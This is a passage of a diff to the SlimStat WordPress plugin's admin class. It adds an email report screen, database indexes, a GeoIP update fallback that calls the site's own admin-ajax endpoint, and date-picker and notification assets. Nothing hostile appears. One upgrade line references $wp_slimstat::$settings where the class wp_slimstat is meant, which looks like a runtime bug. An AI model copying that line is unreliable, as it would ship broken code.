'\u002Fwp-slimstat\u002Flanguages');\n-\n         \u002F\u002F Define the default screens\n         $has_network_reports = get_user_option('meta-box-order_slimstat_page_slimlayout-network', 1);\n \n@@ -80,6 +76,13 @@\n                 'capability'      => 'can_view',\n                 'callback'        => [self::class, 'wp_slimstat_include_view'],\n             ],\n+            'slimemail' => [\n+                'is_report_group' => false,\n+                'show_in_sidebar' => true,\n+                'title'           => wp_slimstat::pro_is_installed() ? __('Email Report', 'wp-slimstat') : __('Email Report (pro)', 'wp-slimstat'),\n+                'capability'      => 'can_view',\n+                'callback'        => [self::class, 'wp_slimstat_include_email_report'],\n+            ],\n             'slimlayout' => [\n                 'is_report_group' => false,\n                 'show_in_sidebar' => true,\n@@ -165,14 +168,9 @@\n         add_filter('wpmu_drop_tables', [self::class, 'drop_tables'], 10, 2);\n \n         \u002F\u002F Display a notice that hightlights this version's features\n-        if (!empty($_GET['page']) && false !== strpos($_GET['page'], 'slimview')) {\n-            if (!empty(self::$admin_notice) && 'on' == wp_slimstat::$settings['notice_latest_news'] && is_super_admin()) {\n-                add_action('admin_notices', [self::class, 'show_latest_news']);\n-            }\n+        if (!empty($_GET['page']) && false !== strpos($_GET['page'], 'slimview') && (!empty(self::$admin_notice) && 'on' == wp_slimstat::$settings['notice_latest_news'] && is_super_admin())) {\n+            add_action('admin_notices', [self::class, 'show_latest_news']);\n \n-            if ('on' == wp_slimstat::$settings['notice_translate'] && is_super_admin()) {\n-                add_filter('admin_notices', [self::class, 'show_translate_notice']);\n-            }\n         }\n \n         \u002F\u002F Remove spammers from the database\n@@ -183,6 +181,8 @@\n         \u002F\u002F Add a menu to the admin bar\n         if ('no' != wp_slimstat::$settings['use_separate_menu'] && is_admin_bar_showing()) {\n             add_action('admin_bar_menu', [self::class, 'add_menu_to_adminbar'], 100);\n+            add_action('admin_enqueue_scripts', [self::class, 'enqueue_adminbar_styles']);\n+            add_action('wp_enqueue_scripts', [self::class, 'enqueue_adminbar_styles']);\n         }\n \n         if (function_exists('is_network_admin') && !is_network_admin()) {\n@@ -212,8 +212,20 @@\n             }\n         }\n \n+        \u002F\u002F Initialize Reports system for SlimStat pages and AJAX requests\n+        $is_slimstat_page = (!empty($_GET['page']) && 0 === strpos($_GET['page'], 'slim'));\n+        $is_slimstat_ajax = (!empty($_POST['action']) && (\n+            'slimstat_load_report' === $_POST['action'] ||\n+            'slimstat_get_live_analytics_data' === $_POST['action']\n+        ));\n+\n+        if ($is_slimstat_page || $is_slimstat_ajax) {\n+            \u002F\u002F Initialize the new Reports system FIRST before legacy system loads\n+            \\SlimStat\\Reports\\Bootstrap::get_instance()->init();\n+        }\n+\n         \u002F\u002F Load the library of functions to generate the reports\n-        if ((!empty($_GET['page']) && 0 === strpos($_GET['page'], 'slim')) || (!empty($_POST['action']) && 'slimstat_load_report' == $_POST['action'])) {\n+        if ($is_slimstat_page || (!empty($_POST['action']) && 'slimstat_load_report' == $_POST['action'])) {\n             include_once(plugin_dir_path(__FILE__) . 'view\u002Fwp-slimstat-reports.php');\n             wp_slimstat_reports::init();\n \n@@ -242,16 +254,24 @@\n \n         \u002F\u002F AJAX Handlers\n         if (defined('DOING_AJAX') && DOING_AJAX) {\n-            add_action('wp_ajax_slimstat_notice_latest_news', [self::class, 'notices_handler']);\n-            add_action('wp_ajax_slimstat_notice_geolite', [self::class, 'notices_handler']);\n-            add_action('wp_ajax_slimstat_notice_browscap', [self::class, 'notices_handler']);\n-            add_action('wp_ajax_slimstat_notice_caching', [self::class, 'notices_handler']);\n-            add_action('wp_ajax_slimstat_notice_translate', [self::class, 'notices_handler']);\n-\n-            add_action('wp_ajax_slimstat_manage_filters', [self::class, 'manage_filters']);\n-            add_action('wp_ajax_slimstat_delete_pageview', [self::class, 'delete_pageview']);\n-            add_action('wp_ajax_slimstat_update_geoip_database', [self::class, 'update_geoip_database']);\n-            add_action('wp_ajax_slimstat_check_geoip_database', [self::class, 'check_geoip_database']);\n+            $ajax_actions = [\n+                'slimstat_notice_latest_news'    => 'notices_handler',\n+                'slimstat_notice_geolite'        => 'notices_handler',\n+                'slimstat_notice_browscap'       => 'notices_handler',\n+                'slimstat_notice_caching'        => 'notices_handler',\n+                'slimstat_manage_filters'        => 'manage_filters',\n+                'slimstat_delete_pageview'       => 'delete_pageview',\n+                'slimstat_update_geoip_database' => 'update_geoip_database',\n+                'slimstat_check_geoip_database'  => 'check_geoip_database',\n+                'slimstat_get_filter_options'    => 'get_filter_options',\n+                'slimstat_get_online_visitors'   => 'get_online_visitors',\n+            ];\n+            foreach ($ajax_actions as $action => $handler) {\n+                add_action('wp_ajax_' . $action, [self::class, $handler]);\n+            }\n+\n+            \u002F\u002F Live Analytics AJAX handler is registered via init_hooks() in Bootstrap\n+            \u002F\u002F No need to call it separately here - it's already registered\n         }\n \n         \u002F\u002F Schedule a daily cron job to purge the data\n@@ -259,12 +279,90 @@\n             wp_schedule_event(time(), 'twicedaily', 'wp_slimstat_purge');\n         }\n \n+        \u002F\u002F Schedule a daily cron job to regenerate IP hashing salt (for GDPR compliance)\n+        if (!wp_next_scheduled('wp_slimstat_generate_daily_salt')) {\n+            wp_schedule_event(time(), 'daily', 'wp_slimstat_generate_daily_salt');\n+        }\n+\n         \u002F\u002F Schedule a weekly cron job to update geoip database automatically\n         if (!wp_next_scheduled('wp_slimstat_update_geoip_database')) {\n             $nextRunInterval = wp_slimstat::get_schedule_interval('weekly');\n             wp_schedule_event(time() + $nextRunInterval, 'weekly', 'wp_slimstat_update_geoip_database');\n         }\n \n+        \u002F\u002F Fallback: if WP-Cron is disabled or scheduling failed, trigger a non-blocking direct update\n+        \u002F\u002F This ensures environments with DISABLE_WP_CRON still receive GeoIP database updates\n+        $cron_disabled = (defined('DISABLE_WP_CRON') && DISABLE_WP_CRON) || !wp_next_scheduled('wp_slimstat_update_geoip_database');\n+        if ($cron_disabled) {\n+            \u002F\u002F Update if DB is missing or last update is older than the most recent past scheduled window\n+            $last_update = (int) get_option('slimstat_last_geoip_dl', 0);\n+\n+            \u002F\u002F Calculate the most recent \"first Tuesday + 2 days\" that has already passed\n+            $this_month_update = strtotime('first Tuesday of this month') + (86400 * 2);\n+            $current_time = time();\n+\n+            \u002F\u002F If this month's update window hasn't arrived yet, use last month's window\n+            if ($current_time \u003C $this_month_update) {\n+                $this_update = strtotime('first Tuesday of last month') + (86400 * 2);\n+            } else {\n+                $this_update = $this_month_update;\n+            }\n+\n+\t\t$db_missing = false;\n+\t\ttry {\n+\t\t\t$provider = \\wp_slimstat::$settings['geolocation_provider'] ?? 'maxmind';\n+\t\t\t$uses_db  = in_array($provider, ['maxmind', 'dbip'], true);\n+                if ($uses_db) {\n+                    $service    = new \\SlimStat\\Services\\Geolocation\\GeolocationService($provider, []);\n+                    $db_missing = !file_exists($service->getProvider()->getDbPath());\n+                }\n+            } catch (\\Throwable $e) {\n+                \u002F\u002F If any error occurs while checking, consider DB missing to be safe\n+                $db_missing = true;\n+            }\n+\n+            if ($db_missing || $last_update \u003C $this_update) {\n+                \u002F\u002F Fire admin-ajax in a non-blocking way to run the existing update handler\n+                $ajax_url = admin_url('admin-ajax.php');\n+                \u002F\u002F Forward only WordPress authentication cookies for security\n+                $cookie_header = '';\n+                if (!headers_sent() && $_COOKIE !== [] && is_array($_COOKIE)) {\n+                    $pairs = [];\n+                    \u002F\u002F Only forward WordPress authentication cookies\n+                    $allowed_cookie_prefixes = [\n+                        'wordpress_logged_in_',\n+                        'wordpress_sec_',\n+                        'wp-settings-',\n+                        'wp-settings-time-',\n+                    ];\n+                    foreach ($_COOKIE as $k => $v) {\n+                        $is_allowed = false;\n+                        foreach ($allowed_cookie_prefixes as $prefix) {\n+                            if (strpos($k, $prefix) === 0) {\n+                                $is_allowed = true;\n+                                break;\n+                            }\n+                        }\n+                        if ($is_allowed) {\n+                            $pairs[] = rawurlencode($k) . '=' . rawurlencode(sanitize_text_field(wp_unslash($v)));\n+                        }\n+                    }\n+                    $cookie_header = implode('; ', $pairs);\n+                }\n+                $args = [\n+                    'timeout'  => 0.01,\n+                    'blocking' => false,\n+                    'body'     => [\n+                        'action'   => 'slimstat_update_geoip_database',\n+                        'security' => wp_create_nonce('slimstat_geoip_action'),\n+                    ],\n+                    'headers' => $cookie_header !== '' && $cookie_header !== '0' ? ['Cookie' => $cookie_header] : [],\n+                ];\n+                \u002F\u002F Best-effort call; ignore response\n+                wp_safe_remote_post($ajax_url, $args);\n+            }\n+        }\n+\n         \u002F\u002F Add style to the admin menu\n         add_action('admin_head', [self::class, 'styling_admin_menu']);\n \n@@ -274,10 +372,36 @@\n         \u002F\u002F Add lock export button in report header\n         add_filter('slimstat_report_header_buttons', fn ($_header_buttons, $_report_id) => self::add_lock_export_button($_header_buttons, $_report_id), 10, 2);\n \n-        \u002F\u002F Add header to settings and customize and settings page\n-        add_action('admin_notices', function () {\n-            self::add_header();\n-        });\n+        $index_checks = [\n+            ['option' => 'slimstat_country_dt_indexed', 'key' => 'idx_country_dt'],\n+            ['option' => 'slimstat_dt_screen_indexed', 'key' => 'idx_dt_screen_width_screen_height'],\n+            ['option' => 'slimstat_dt_browser_indexed', 'key' => 'idx_dt_browser_browser_version'],\n+            ['option' => 'slimstat_dt_platform_indexed', 'key' => 'idx_dt_platform'],\n+        ];\n+        foreach ($index_checks as $idx) {\n+            $exists = wp_slimstat::$wpdb->get_results(sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = '%s'\", $GLOBALS['wpdb']->prefix, $idx['key']));\n+            if (!empty($exists)) {\n+                update_option($idx['option'], 'yes');\n+            }\n+        }\n+\n+        self::register_country_dt_index_hooks();\n+        self::register_dt_screen_index_hooks();\n+        self::register_dt_browser_index_hooks();\n+        self::register_dt_platform_index_hooks();\n+        self::register_dt_out_index_hooks();\n+\n+        \u002F\u002F Register the combined notice\n+        add_action('admin_notices', ['wp_slimstat_admin', 'show_indexes_notice']);\n+\n+        \u002F\u002F Initialize notification system\n+        if (class_exists('SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationManager')) {\n+            new \\SlimStat\\Services\\Admin\\Notification\\NotificationManager();\n+        }\n+        \u002F\u002F Initialize cron manager for notifications\n+        if (class_exists('SlimStat\\\\Services\\\\CronEventManager')) {\n+            new \\SlimStat\\Services\\CronEventManager();\n+        }\n     }\n \n     \u002F\u002F END: init\n@@ -362,6 +486,34 @@\n         \u002F\u002F Create the tables\n         self::init_tables($my_wpdb);\n \n+        \u002F\u002F Ensure country\u002Fdt index exists for performance\n+        $has_index = $my_wpdb->get_results(sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = 'idx_country_dt'\", $GLOBALS['wpdb']->prefix));\n+        if (!$has_index || 0 === count($has_index)) {\n+            $my_wpdb->query(sprintf('CREATE INDEX idx_country_dt ON %sslim_stats (country, dt)', $GLOBALS['wpdb']->prefix));\n+        }\n+        update_option('slimstat_country_dt_indexed', 'yes');\n+\n+        \u002F\u002F --- Add (dt, screen_width, screen_height) index for Top Screen Resolutions ---\n+        $dt_screen_index = $my_wpdb->get_results(sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = 'idx_dt_screen_width_screen_height'\", $GLOBALS['wpdb']->prefix));\n+        if (empty($dt_screen_index)) {\n+            $my_wpdb->query(sprintf('CREATE INDEX idx_dt_screen_width_screen_height ON %sslim_stats (dt, screen_width, screen_height)', $GLOBALS['wpdb']->prefix));\n+        }\n+        update_option('slimstat_dt_screen_indexed', 'yes');\n+\n+        \u002F\u002F --- Add (dt, browser, browser_version) index for Top Browsers ---\n+        $dt_browser_index = $my_wpdb->get_results(sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = 'idx_dt_browser_browser_version'\", $GLOBALS['wpdb']->prefix));\n+        if (empty($dt_browser_index)) {\n+            $my_wpdb->query(sprintf('CREATE INDEX idx_dt_browser_browser_version ON %sslim_stats (dt, browser, browser_version)', $GLOBALS['wpdb']->prefix));\n+        }\n+        update_option('slimstat_dt_browser_indexed', 'yes');\n+\n+        \u002F\u002F --- Add (dt, platform) index for Top Platforms ---\n+        $dt_platform_index = $my_wpdb->get_results(sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = 'idx_dt_platform'\", $GLOBALS['wpdb']->prefix));\n+        if (empty($dt_platform_index)) {\n+            $my_wpdb->query(sprintf('CREATE INDEX idx_dt_platform ON %sslim_stats (dt, platform)', $GLOBALS['wpdb']->prefix));\n+        }\n+        update_option('slimstat_dt_platform_indexed', 'yes');\n+\n         return true;\n     }\n \n@@ -378,10 +530,10 @@\n \n         \u002F\u002F Table that stores the actual data about visits\n         $stats_table_sql = \"\n-\t\t\tCREATE TABLE IF NOT EXISTS {$GLOBALS['wpdb']->prefix}slim_stats (\n-\t\t\t\tid INT UNSIGNED NOT NULL auto_increment,\n-\t\t\t\tip VARCHAR(39) DEFAULT NULL,\n-\t\t\t\tother_ip VARCHAR(39) DEFAULT NULL,\n+            CREATE TABLE IF NOT EXISTS {$GLOBALS['wpdb']->prefix}slim_stats (\n+                id INT UNSIGNED NOT NULL auto_increment,\n+                ip VARCHAR(39) DEFAULT NULL,\n+                other_ip VARCHAR(39) DEFAULT NULL,\n \t\t\t\tusername VARCHAR(256) DEFAULT NULL,\n \t\t\t\temail VARCHAR(256) DEFAULT NULL,\n \n@@ -421,7 +573,7 @@\n \t\t\t\tdt INT(10) UNSIGNED DEFAULT 0,\n \n \t\t\t\tCONSTRAINT PRIMARY KEY (id),\n-\t\t\t\tINDEX {$GLOBALS['wpdb']->prefix}slim_stats_dt_idx (dt),\n+                INDEX {$GLOBALS['wpdb']->prefix}slim_stats_dt_idx (dt),\n \t\t\t\tINDEX {$GLOBALS['wpdb']->prefix}stats_resource_idx( resource( 20 ) ),\n \t\t\t\tINDEX {$GLOBALS['wpdb']->prefix}stats_browser_idx( browser( 10 ) ),\n \t\t\t\tINDEX {$GLOBALS['wpdb']->prefix}stats_searchterms_idx( searchterms( 15 ) ),\n@@ -472,6 +624,23 @@\n         if (empty(wp_slimstat::$settings['version'])) {\n             wp_slimstat::$settings['version'] = SLIMSTAT_ANALYTICS_VERSION;\n         }\n+\n+        $index_defs = [\n+            ['name' => 'idx_country_dt', 'sql' => sprintf('CREATE INDEX idx_country_dt ON %sslim_stats (country, dt)', $GLOBALS['wpdb']->prefix), 'option' => 'slimstat_country_dt_indexed'],\n+            ['name' => 'idx_dt_screen_width_screen_height', 'sql' => sprintf('CREATE INDEX idx_dt_screen_width_screen_height ON %sslim_stats (dt, screen_width, screen_height)', $GLOBALS['wpdb']->prefix), 'option' => 'slimstat_dt_screen_indexed'],\n+            ['name' => 'idx_dt_browser_browser_version', 'sql' => sprintf('CREATE INDEX idx_dt_browser_browser_version ON %sslim_stats (dt, browser, browser_version)', $GLOBALS['wpdb']->prefix), 'option' => 'slimstat_dt_browser_indexed'],\n+            ['name' => 'idx_dt_platform', 'sql' => sprintf('CREATE INDEX idx_dt_platform ON %sslim_stats (dt, platform)', $GLOBALS['wpdb']->prefix), 'option' => 'slimstat_dt_platform_indexed'],\n+            \u002F\u002F Speeds up \"Currently Online\" queries using dt_out > NOW()-300\n+            ['name' => 'idx_dt_out', 'sql' => sprintf('CREATE INDEX idx_dt_out ON %sslim_stats (dt_out)', $GLOBALS['wpdb']->prefix), 'option' => 'slimstat_dt_out_indexed'],\n+        ];\n+        foreach ($index_defs as $idx) {\n+            $exists = $_wpdb->get_results(sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = '%s'\", $GLOBALS['wpdb']->prefix, $idx['name']));\n+            if (empty($exists)) {\n+                $_wpdb->query($idx['sql']);\n+            }\n+            update_option($idx['option'], 'yes');\n+        }\n+\n     }\n \n     \u002F\u002F END: init_tables\n@@ -504,18 +673,23 @@\n             unset(wp_slimstat::$settings['no_maxmind_warning']);\n             unset(wp_slimstat::$settings['no_browscap_warning']);\n             unset(wp_slimstat::$settings['use_european_separators']);\n-            unset(wp_slimstat::$settings['date_format']);\n-            unset(wp_slimstat::$settings['time_format']);\n-            unset(wp_slimstat::$settings['expand_details']);\n-\n-            \u002F\u002F Add table indexes for improved performance\n-            $check_index = wp_slimstat::$wpdb->get_results(sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = '%sstats_resource_idx'\", $GLOBALS['wpdb']->prefix, $GLOBALS['wpdb']->prefix));\n-            if (empty($check_index)) {\n-                wp_slimstat::$wpdb->query(sprintf('ALTER TABLE %sslim_stats ADD INDEX %sstats_resource_idx( resource( 20 ) )', $GLOBALS['wpdb']->prefix, $GLOBALS['wpdb']->prefix));\n-                wp_slimstat::$wpdb->query(sprintf('ALTER TABLE %sslim_stats ADD INDEX %sstats_browser_idx( browser( 10 ) )', $GLOBALS['wpdb']->prefix, $GLOBALS['wpdb']->prefix));\n-                wp_slimstat::$wpdb->query(sprintf('ALTER TABLE %sslim_stats ADD INDEX %sstats_searchterms_idx( searchterms( 15 ) )', $GLOBALS['wpdb']->prefix, $GLOBALS['wpdb']->prefix));\n+            unset($wp_slimstat::$settings['date_format']);\n+            unset($wp_slimstat::$settings['time_format']);\n+            unset($wp_slimstat::$settings['expand_details']);\n+\n+            \u002F\u002F Add table indexes for improved performance (idempotent)\n+            $indexes = [\n+                ['name' => $GLOBALS['wpdb']->prefix . 'stats_resource_idx', 'sql' => sprintf('ALTER TABLE %sslim_stats ADD INDEX %sstats_resource_idx( resource( 20 ) )', $GLOBALS['wpdb']->prefix, $GLOBALS['wpdb']->prefix)],\n+                ['name' => $GLOBALS['wpdb']->prefix . 'stats_browser_idx', 'sql' => sprintf('ALTER TABLE %sslim_stats ADD INDEX %sstats_browser_idx( browser( 10 ) )', $GLOBALS['wpdb']->prefix, $GLOBALS['wpdb']->prefix)],\n+                ['name' => $GLOBALS['wpdb']->prefix . 'stats_searchterms_idx', 'sql' => sprintf('ALTER TABLE %sslim_stats ADD INDEX %sstats_searchterms_idx( searchterms( 15 ) )', $GLOBALS['wpdb']->prefix, $GLOBALS['wpdb']->prefix)],\n+                ['name' => $GLOBALS['wpdb']->prefix . 'stats_fingerprint_idx', 'sql' => sprintf('ALTER TABLE %sslim_stats ADD INDEX %sstats_fingerprint_idx( fingerprint( 20 ) )', $GLOBALS['wpdb']->prefix, $GLOBALS['wpdb']->prefix)],\n+            ];\n+            foreach ($indexes as $index) {\n+                $check_index = wp_slimstat::$wpdb->get_results(sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = '%s'\", $GLOBALS['wpdb']->prefix, $index['name']));\n+                if (empty($check_index)) {\n+                    wp_slimstat::$wpdb->query($index['sql']);\n+                }\n             }\n-\n             wp_slimstat::$settings['db_indexes'] = 'on';\n         }\n \n@@ -545,6 +719,19 @@\n             $my_wpdb->query(sprintf(\"UPDATE %sslim_stats SET notes = CONCAT( '[', REPLACE( notes, ';', '][' ), ']' ) WHERE notes NOT LIKE '[%%'\", $GLOBALS['wpdb']->prefix));\n         }\n \n+        \u002F\u002F --- Updates for version 5.4.0 ---\n+        if (version_compare(wp_slimstat::$settings['version'], '5.4.0', '\u003C')) {\n+            \u002F\u002F Migrate legacy 'adblock' tracking method to 'adblock_bypass' (renamed in v5.3.0)\n+            if (!empty(wp_slimstat::$settings['tracking_request_method']) && 'adblock' === wp_slimstat::$settings['tracking_request_method']) {\n+                wp_slimstat::$settings['tracking_request_method'] = 'adblock_bypass';\n+            }\n+\n+            \u002F\u002F Default use_separate_menu to 'on' if not already set\n+            if (empty(wp_slimstat::$settings['use_separate_menu'])) {\n+                wp_slimstat::$settings['use_separate_menu'] = 'on';\n+            }\n+        }\n+\n         \u002F\u002F Now we can update the version stored in the database\n         wp_slimstat::$settings['version']            = SLIMSTAT_ANALYTICS_VERSION;\n         wp_slimstat::$settings['notice_latest_news'] = 'on';\n@@ -567,6 +754,9 @@\n             return;\n         }\n \n+        \u002F\u002F Initialize the new Reports system FIRST before legacy system loads\n+        \\SlimStat\\Reports\\Bootstrap::get_instance()->init();\n+\n         \u002F\u002F The Reports library is only loaded on the plugin's screens\n         include_once(plugin_dir_path(__FILE__) . 'view\u002Fwp-slimstat-reports.php');\n         wp_slimstat_reports::init();\n@@ -576,7 +766,6 @@\n                 if (empty(wp_slimstat_reports::$reports[$a_report_id])) {\n                     continue;\n                 }\n-\n                 wp_add_dashboard_widget($a_report_id, wp_slimstat_reports::$reports[$a_report_id]['title'], ['wp_slimstat_reports', 'callback_wrapper']);\n             }\n         }\n@@ -607,7 +796,15 @@\n     public static function wp_slimstat_stylesheet($_hook = '')\n     {\n         wp_register_style('wp-slimstat', plugins_url('\u002Fadmin\u002Fassets\u002Fcss\u002Fadmin.css', __DIR__), false, SLIMSTAT_ANALYTICS_VERSION);\n-        wp_enqueue_style('wp-slimstat', [], [], SLIMSTAT_ANALYTICS_VERSION, 'all');\n+\t\twp_enqueue_style('wp-slimstat');\n+\n+\t\twp_register_style(\n+\t\t\t'wp-slimstat-header-modern',\n+\t\t\tplugins_url('\u002Fadmin\u002Fassets\u002Fcss\u002Fheader-modern.css', __DIR__),\n+\t\t\t['wp-slimstat'],\n+\t\t\tSLIMSTAT_ANALYTICS_VERSION\n+\t\t);\n+\t\twp_enqueue_style('wp-slimstat-header-modern');\n \n         if (!empty(wp_slimstat::$settings['custom_css'])) {\n             wp_add_inline_style('wp-slimstat', wp_slimstat::$settings['custom_css']);\n@@ -631,22 +828,79 @@\n      *\u002F\n     public static function wp_slimstat_enqueue_scripts($_hook = '')\n     {\n-        wp_enqueue_script('dashboard');\n-        wp_enqueue_script('jquery-ui-datepicker');\n+        $current_screen = get_current_screen();\n+        if ($current_screen && str_contains($current_screen->id ?? '', 'slim')) {\n+            wp_enqueue_script('dashboard');\n+            wp_enqueue_script('jquery-ui-datepicker');\n+            wp_enqueue_script('jquery-ui-sortable');\n+        }\n \n         \u002F\u002F Enqueue the built-in code editor to use on the Settings\n-        if (self::$current_screen) {\n+        if ($current_screen) {\n             wp_enqueue_code_editor(['type' => 'text\u002Fhtml']);\n         }\n \n-        wp_enqueue_script('slimstat_admin', plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fadmin.js', __DIR__), ['jquery-ui-dialog'], SLIMSTAT_ANALYTICS_VERSION, false);\n+        \u002F\u002F Enqueue date range picker assets for report pages\n+        $should_load_datepicker = false;\n+        if (isset($_GET['page'])) {\n+            $page = sanitize_text_field($_GET['page']);\n+            if (str_contains($page, 'slim') && !str_contains($page, 'setting')) {\n+                $should_load_datepicker = true;\n+            }\n+        }\n+\n+        if ($should_load_datepicker) {\n+\n+            \u002F\u002F Enqueue moment.js\n+            wp_enqueue_script('slimstat-moment', plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fdaterangepicker\u002Fmoment.min.js', __DIR__), [], '2.30.2', true);\n+\n+            \u002F\u002F Enqueue daterangepicker\n+            wp_enqueue_script('slimstat-daterangepicker', plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fdaterangepicker\u002Fdaterangepicker.min.js', __DIR__), ['jquery', 'slimstat-moment'], '3.1.0', true);\n+\n+            \u002F\u002F Enqueue our custom date picker\n+            wp_enqueue_script('slimstat-custom-datepicker', plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fdaterangepicker\u002Fslimstat-daterangepicker.js', __DIR__), ['jquery', 'slimstat-daterangepicker'], SLIMSTAT_ANALYTICS_VERSION, true);\n+\n+            \u002F\u002F Enqueue date picker styles\n+            wp_enqueue_style('slimstat-daterangepicker-base', plugins_url('\u002Fadmin\u002Fassets\u002Fcss\u002Fdaterangepicker\u002Fdaterangepicker.css', __DIR__), [], '3.1.0');\n+            wp_enqueue_style('slimstat-daterangepicker-custom', plugins_url('\u002Fadmin\u002Fassets\u002Fcss\u002Fdaterangepicker\u002Fslimstat-datepicker-styles.css', __DIR__), ['slimstat-daterangepicker-base'], SLIMSTAT_ANALYTICS_VERSION);\n+\n+            \u002F\u002F Localize date picker script\n+            $datepicker_params = [\n+                'ajax_url' => admin_url('admin-ajax.php'),\n+                'clear_cache_nonce' => wp_create_nonce('slimstat_clear_cache'),\n+                'options' => [\n+                    'wp_timezone' => DateRangeHelper::get_wp_timezone(),\n+                    'start_of_week' => DateRangeHelper::get_week_start(),\n+                    'date_format' => DateRangeHelper::get_date_format()\n+                ],\n+                'strings' => DateRangeHelper::get_localized_strings()\n+            ];\n+            wp_localize_script('slimstat-custom-datepicker', 'SlimStatDatePicker', $datepicker_params);\n+        }\n+\n+        wp_enqueue_script('slimstat_admin', plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fadmin.js', __DIR__), ['jquery-ui-dialog'], SLIMSTAT_ANALYTICS_VERSION, true);\n+\n+        \u002F\u002F Enqueue notification assets if notifications are enabled\n+        if (wp_slimstat::$settings['display_notifications'] == 'on') {\n+            wp_enqueue_style('slimstat_notifications', plugins_url('\u002Fadmin\u002Fassets\u002Fcss\u002Fnotifications.css', __DIR__), [], SLIMSTAT_ANALYTICS_VERSION);\n+            wp_enqueue_style('slimstat_header_notifications', plugins_url('\u002Fadmin\u002Fassets\u002Fcss\u002Fheader-notifications.css', __DIR__), [], SLIMSTAT_ANALYTICS_VERSION);\n+            wp_enqueue_script('slimstat_notifications', plugins_url('\u002Fadmin\u002Fassets\u002Fjs\u002Fnotifications.js', __DIR__), ['jquery'], SLIMSTAT_ANALYTICS_VERSION, false);\n+\n+            \u002F\u002F Pass notification data to Javascript\n+            $notification_params = [\n+                'ajax_url' => admin_url('admin-ajax.php'),\n+                'nonce'    => wp_create_nonce('wp_rest'),\n+            ];\n+            wp_localize_script('slimstat_notifications', 'slimstat_admin', $notification_params);\n+        }\n \n         \u002F\u002F Pass some information to Javascript\n         $params = [\n-            'async_load'       => empty(wp_slimstat::$settings['async_load']) ? 'no' : wp_slimstat::$settings['async_load'],\n-            'datepicker_image' => plugins_url('\u002Fadmin\u002Fassets\u002Fimages\u002Fdatepicker.png', __DIR__),\n-            'refresh_interval' => intval(wp_slimstat::$settings['refresh_interval']),\n-            'page_location'    => self::$page_location,\n+            'async_load'        => empty(wp_slimstat::$settings['async_load']) ? 'no' : wp_slimstat::$settings['async_load'],\n+            'datepicker_image'  => plugins_url('\u002Fadmin\u002Fassets\u002Fimages\u002Fdatepicker.png', __DIR__),\n+            'refresh_interval'  => intval(wp_slimstat::$settings['refresh_interval']),\n+            'page_location'     => self::$page_location,\n+            'clear_cache_nonce' => wp_create_nonce('slimstat_clear_cache'),\n         ];\n         wp_localize_script('slimstat_admin', 'SlimStatAdminParams', $params);\n     }\n@@ -669,28 +923,50 @@\n         }\n \n         \u002F\u002F Find the first available location (screens with no reports assigned to them are hidden from the nav)\n-        $parent = 'slimview1';\n-        if (is_array(self::$meta_user_reports)) {\n-            $parent = '';\n-            foreach (self::$screens_info as $a_screen_id => $a_screen_info) {\n-                if (!empty(self::$meta_user_reports[$a_screen_id]) && $a_screen_info['show_in_sidebar']) {\n-                    $parent = $a_screen_id;\n-                    break;\n-                }\n-            }\n-\n-            if (empty($parent)) {\n-                $parent = 'slimlayout';\n+\t\t$parent = '';\n+\t\tif (is_array(self::$meta_user_reports)) {\n+\t\t\tforeach (self::$screens_info as $a_screen_id => $a_screen_info) {\n+\t\t\t\tif (!empty(self::$meta_user_reports[$a_screen_id]) && $a_screen_info['show_in_sidebar']) {\n+\t\t\t\t\t$parent = $a_screen_id;\n+\t\t\t\t\tbreak;\n+\t\t\t\t}\n+\t\t\t}\n+\t\t}\n+\n+\t\t\u002F\u002F If no parent was found in the user meta, use the first available screen as the parent\n+\t\tif (empty($parent) && !empty(self::$screens_info)) {\n+\t\t\t$parent = array_key_first(self::$screens_info);\n+\t\t}\n+\n+\t\t\u002F\u002F Don't show the menu if no screens are available at all\n+\t\tif (empty($parent) || !isset(self::$screens_info[$parent])) {\n+\t\t\treturn null;\n+\t\t}\n+\n+\t\tself::$main_menu_slug = $parent;\n+\n+        \u002F\u002F Build menu title with notification badge\n+        $menu_title = __('SlimStat', 'wp-slimstat');\n+        if (class_exists(NotificationFactory::class) && wp_slimstat::$settings['display_notifications'] === 'on') {\n+            $notification_count = NotificationFactory::getNewNotificationCount();\n+            if ($notification_count > 0) {\n+                $menu_title .= sprintf(\n+                    ' \u003Cspan class=\"update-plugins count-%d\">\u003Cspan class=\"plugin-count\">%s\u003C\u002Fspan>\u003C\u002Fspan>',\n+                    $notification_count,\n+                    number_format_i18n($notification_count)\n+                );\n             }\n         }\n \n-        \u002F\u002F Get the current menu position\n-        $new_entry = [];\n-        if ('no' == wp_slimstat::$settings['use_separate_menu'] || is_network_admin()) {\n-            $new_entry[] = add_menu_page(__('Slimstat', 'wp-slimstat'), __('Slimstat', 'wp-slimstat'), $minimum_capability, $parent, [self::class, 'wp_slimstat_include_view'], 'dashicons-chart-area');\n-        } else {\n-            $parent = 'admin.php';\n-        }\n+        \u002F\u002F Add the main menu\n+        add_menu_page(\n+            __('SlimStat', 'wp-slimstat'),\n+            $menu_title,\n+            $minimum_capability,\n+            $parent,\n+            [self::class, 'wp_slimstat_include_view'],\n+            'dashicons-chart-area'\n+        );\n \n         foreach (self::$screens_info as $a_screen_id => $a_screen_info) {\n             if (isset(self::$meta_user_reports[$a_screen_id]) && empty(self::$meta_user_reports[$a_screen_id])) {\n@@ -735,7 +1011,41 @@\n     \u002F\u002F END: add_menus\n \n     \u002F**\n-     * Adds a new entry in the WordPress Admin Bar\n+     * Enqueue admin bar modal styles globally (admin + frontend)\n+     *\u002F\n+    public static function enqueue_adminbar_styles()\n+    {\n+        if (is_admin_bar_showing()) {\n+            wp_enqueue_style(\n+                'slimstat-adminbar',\n+                plugins_url('\u002Fadmin\u002Fassets\u002Fcss\u002Fadmin-bar-modal.css', 